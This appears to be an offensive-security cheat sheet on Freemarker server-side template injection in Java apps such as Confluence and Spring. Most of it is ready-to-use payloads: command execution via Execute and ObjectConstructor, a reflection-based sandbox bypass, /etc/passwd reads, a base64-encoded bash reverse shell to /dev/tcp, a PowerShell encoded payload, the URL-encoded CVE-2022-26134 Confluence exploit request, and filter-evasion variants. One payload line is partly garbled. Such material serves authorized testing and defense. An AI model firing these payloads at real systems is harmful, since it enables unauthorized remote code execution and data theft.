Freemarker (Java - Confluence, Spring)
Freemarker provides “TemplateModels” - Java objects exposed to templates. freemarker.template.utility.Execute runs shell commands when instantiated via ?new. If the application hasn’t disabled it (most don’t), one payload is enough.
# Confirm Freemarker (not Velocity)${7*7} # → 49<#assign x=7>${x} # → 7 (Freemarker directive)
# RCE - Execute TemplateModel<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# RCE - ObjectConstructor (older variant)<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>${oc("java.lang.Runtime").getRuntime().exec("id")}Success indicator: uid= output (or Process[...] object representation, depending on how the output is consumed).
Where this engine lives
Section titled “Where this engine lives”- Atlassian Confluence - CVE-2022-26134 (OGNL/Freemarker via
?query parameter). Most operationally-famous Freemarker SSTI. - Spring Framework - Freemarker is one of Spring’s view-resolver options. Sinks in admin panels that template emails or reports.
- Apache OFBiz - uses Freemarker for screens.
- Adobe AEM - partial Freemarker usage in some components.
- Custom Java apps - anything embedding
freemarker.template.Templatefor templated output.
Step 1 - Confirm and orient
Section titled “Step 1 - Confirm and orient”${7*7} # → 49 confirms template eval<#assign x=7>${x} # → 7 confirms Freemarker directive syntaxIf ${7*7} works but <#assign> doesn’t, see Velocity - both engines use ${...} for output but differ on directives.
Step 2 - Execute via ?new()
Section titled “Step 2 - Execute via ?new()”The Freemarker ?new() built-in instantiates a Java class by name. Several TemplateModel classes do useful things on construction:
freemarker.template.utility.Execute
Section titled “freemarker.template.utility.Execute”Runs a shell command and returns stdout as a string:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}<#assign ex="freemarker.template.utility.Execute"?new()>${ex("cat /etc/passwd")}<#assign ex="freemarker.template.utility.Execute"?new()>${ex("uname -a")}Inline form (no separate assign):
${"freemarker.template.utility.Execute"?new()("id")}freemarker.template.utility.ObjectConstructor
Section titled “freemarker.template.utility.ObjectConstructor”More general - instantiates arbitrary classes. Useful when Execute is blocked specifically:
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>${oc("java.lang.ProcessBuilder", ["id"]).start().getInputStream()}ObjectConstructor is disabled by default in modern Freemarker but commonly enabled on older deployments.
freemarker.template.utility.JythonRuntime (if Jython is on classpath)
Section titled “freemarker.template.utility.JythonRuntime (if Jython is on classpath)”<#assign jr="freemarker.template.utility.JythonRuntime"?new()><@jr>import os; os.system("id")</@jr>Rare but devastating where it works - most Jython-using apps have far more direct privesc paths.
Step 3 - ?api for sandbox bypass (Freemarker 2.3.22+)
Section titled “Step 3 - ?api for sandbox bypass (Freemarker 2.3.22+)”Freemarker added ?api to expose the underlying Java API of any object. This bypasses sandboxes that restrict directive use but allow expressions:
${object?api.getClass().forName("java.lang.Runtime").getMethod("exec",["".getClass()]).invoke(null,"id")}The exact form depends on what object you have. From a String context:
${"".getClass().forName("java.lang.Runtime").getMethod("exec",["".getClass()]).invoke(null,"id")}This is the path that worked for CVE-2022-26134 (Confluence) - the OGNL expression evaluated through Freemarker bypassed the sandbox by reaching Runtime.exec via reflection.
Step 4 - Loot before escalating
Section titled “Step 4 - Loot before escalating”# Application data model (Freemarker variables in scope)${.data_model?keys} # lists all top-level variables${.data_model} # full dump
# Confluence-specific${stack.findValue("memberAccess.allowStaticMethodAccess")}${parameters} # query parameters as map
# Spring-specific${requestScope}${sessionScope}${applicationScope}.data_model?keys is the fastest way to discover what the application exposes - frequently includes user objects, request data, and configuration.
Step 5 - File operations
Section titled “Step 5 - File operations”Read files through Freemarker’s built-in file access if Execute is filtered:
<#assign fr="freemarker.template.utility.ObjectConstructor"?new()>${fr("java.io.FileInputStream", "/etc/passwd").readAllBytes()?join('')}Or with java.nio.file.Files:
${"".getClass().forName("java.nio.file.Files").getMethod("readString",["".getClass().forName("java.nio.file.Path")]).invoke(null,"".getClass().forName("java.nio.file.Paths").getMethod("get",["".getClass(),"".getClass().getClass()]).invoke(null,"/etc/passwd",[]))}Awkward but works in deeply-restricted sandboxes.
Step 6 - Reverse shell
Section titled “Step 6 - Reverse shell”Direct via Execute with a shell wrapper:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}")}The brace-expansion form sidesteps shell metacharacter filters. Replace the base64 string with bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 re-encoded.
For Windows targets:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("powershell -e BASE64_PAYLOAD")}CVE-2022-26134 (Confluence) payload form
Section titled “CVE-2022-26134 (Confluence) payload form”The Atlassian Confluence pre-auth RCE used Freemarker’s ?api mechanism via an OGNL-injected URL:
/${ (#[email protected]@toString( @java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8" )).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/URL-encoded form for the wire (drop into any path component of a Confluence URL):
GET /%24%7B(%23a%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%22id%22).getInputStream()%2C%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22%2C%23a))%7D/ HTTP/1.1Output returns in the X-Cmd-Response response header. Affected Confluence ≤ 7.18.0 and several earlier branches.
Filter-aware variants
Section titled “Filter-aware variants”# Class name in fragments<#assign cls="freemarker.template.utility."+"Execute"?new()>${cls("id")}
# Hex-encoded<#assign ex="\u0066reemarker.template.utility.Execute"?new()>${ex("id")}
# Via FreeMarker built-ins${"freemarker.template.utility.Execute"?eval?new()("id")}See filter bypass for keyword-stripping bypasses common to all Java templating.
Detection-only payloads
Section titled “Detection-only payloads”${7*7} # eval probe<#assign x=7>${x} # confirms Freemarker (not Velocity)${.now} # returns current timestamp${.template_name} # returns the template's name${.locale} # returns server locale${.template_name} is the cleanest “is this Freemarker?” probe - no escalation potential, returns the template path the engine is processing.
new_builtin_class_resolveris Freemarker’s sandbox lever. When set toTemplateClassResolver.ALLOWS_NOTHING_RESOLVER,?newis completely disabled - payloads fall back to?apireflection.?apiwas added in 2.3.22. Older deployments (Freemarker 2.3.21 and earlier) lack this escape hatch but also lack the modern sandboxes - they’re typically more exploitable through direct?new.- Output suppression - Freemarker errors return
freemarker.template.TemplateExceptioniftemplate_exception_handleris set torethrow. Production deployments usually swallow errors silently; switch probes that don’t throw if blind. - JSP integration - Spring + Freemarker apps sometimes interleave JSP
<%= ... %>in the same view layer. Reaching Freemarker from a JSP-rendered context requires a different probe form.